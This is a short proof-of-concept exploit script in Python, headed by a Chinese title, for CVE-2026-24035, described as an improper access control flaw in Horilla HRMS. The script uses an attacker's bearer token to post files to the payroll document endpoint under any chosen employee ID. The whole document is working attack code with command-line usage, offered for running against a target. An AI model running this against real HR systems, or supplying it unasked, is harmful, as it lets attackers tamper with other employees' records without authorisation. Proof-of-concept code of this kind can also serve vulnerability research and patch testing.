CVE-2026-24035 Horilla HRMS 任意员工文档上传漏洞

import requests import sys # CVE-2026-24035 PoC - Horilla HRMS Improper Access Control # Description: Authenticated user can upload documents on behalf of other employees def exploit_cve_2026_24035(base_url, attacker_token, target_employee_id): """ Exploit improper access control in Horilla HRMS file upload Args: base_url: Target Horilla HRMS base URL attacker_token: Valid authentication token for attacker account target_employee_id: Employee ID of the victim (to upload docs as them) Returns: bool: True if exploitation appears successful """ upload_endpoint = f"{base_url}/payroll/document/create/" headers = { "Authorization": f"Bearer {attacker_token}", "X-Requested-With": "XMLHttpRequest" } # Malicious file with target employee's ID files = { "document": ("exploit.txt", b"Malicious content uploaded via CVE-2026-24035", "text/plain") } # VULNERABLE: No server-side validation of employee_id data = { "employee_id": target_employee_id, # Attacker can specify any employee "title": "Unauthorized Document Upload", "description": "Document uploaded by exploiting CVE-2026-24035" } try: response = requests.post(upload_endpoint, headers=headers, files=files, data=data, timeout=30) if response.status_code == 200 or response.status_code == 201: print(f"[+] Successfully uploaded document for employee_id: {target_employee_id}") print(f"[+] Exploitation successful - improper access control bypassed") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2026_24035.py <base_url> <attacker_token> <target_employee_id>") sys.exit(1) base_url = sys.argv[1] attacker_token = sys.argv[2] target_employee_id = sys.argv[3] exploit_cve_2026_24035(base_url, attacker_token, target_employee_id)